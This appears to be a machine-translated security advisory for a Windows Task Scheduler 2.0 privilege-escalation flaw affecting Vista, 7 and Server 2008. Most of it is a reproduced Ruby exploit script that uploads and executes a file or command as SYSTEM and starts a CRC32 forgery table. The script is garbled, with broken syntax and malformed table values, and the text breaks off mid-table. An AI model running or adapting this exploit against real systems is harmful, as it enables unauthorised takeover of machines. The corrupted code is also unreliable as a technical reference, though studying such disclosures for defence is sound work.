Affected Systems:
Microsoft Windows Vista
Microsoft Windows Server 2008
Microsoft Windows 7
Description:
Microsoft Windows is a very popular operating system released by Microsoft.
In Windows, the task scheduling service has an access verification vulnerability. Local attackers may exploit this vulnerability to escalate their permissions to SYSTEM for full SYSTEM control.
The task scheduling service does not properly prevent users from modifying some fields in the XML definition file through the COM interface. As a result, malicious users manipulate a valid XML file and bypass CRC verification to execute arbitrary commands with SYSTEM permissions.
<**>
Test method:
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
##
# $ Id: $
##
##
#
# This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet
#
# Disclosed around Oct 22,201 0
#
# Written by jduck
#
##
Require zlib
#
# Filter out sessions that this definitely wont work on.
#
Vuln = false
If session. platform = ~ /Win32 | win64/
Winver = session. sys. config. sysinfo ["OS"]
Affected = [Windows Vista, Windows 7, Windows 2008]
Affected. each {| v |
If winver. include? V
Vuln = true
Break
End
}
End
If not vuln
Print_error ("# {winver} is not vulnerable .")
Return Rex: Script: Completed
End
#
# We have a chance to succeed, check params
#
@ Exec_opts = Rex: Parser: Arguments. new (
"-H" => [false, "Help menu."],
"-C" => [true, "Execute the specified command"],
"-U" => [true, "Upload and execute the specified file"]
)
Def usage
Print_line ("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation ")
Print (@ exec_opts.usage)
Raise Rex: Script: Completed
End
Cmd = nil
Upload_fn = nil
@ Exec_opts.parse (args) {| opt, idx, val |
Case opt
When "-c"
Cmd = val
When "-u"
Upload_fn = val
If not: File. exists? (Upload_fn)
Raise "Specified file to upload does not exist! "
End
When "-h"
Usage
End
}
# Must have at least one of-c or-u
Usage if not cmd and not upload_fn
#
# Upload the payload command if needed
#
If upload_fn
Location = session. fs. file. expand_path ("% TEMP % ")
Begin
Ext = upload_fn.split (.)
If ext
Ext = ext. last. downcase
If ext = "exe"
Location = "# {location} \ svhost1_rand(1001_0000.exe"
Else
Location = "# {location} \ TMP # {rand (100) }#{ ext }"
End
Else
Location = "# {location} \ TMP # {rand (100 )}"
End
Print_status ("Uploading # {upload_fn} to # {location }....")
Session. fs. file. upload_file (location, upload_fn)
Print_status ("Upload complete .")
Rescue: Exception => e
Print_error ("Error uploading file # {upload_fn }:#{ e. class }#{ e }")
Raise e
End
Cmd | = location
End
#
# CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably
# Reversed from Microsofts code)
#
Class ESET
BWD_Table | = [
0x00000000, 0xdb738541, 0x6D930AC3, 0xB6E20C82,
0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
0xB74777D7, 0x6c0000196, 0xDAD47D14, 0x01A57B55,
0x6c616133, 0xB7106410, 0x01F26892, 0xDA836ED3,
0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xb2cf7133,
0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066cd133,
0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
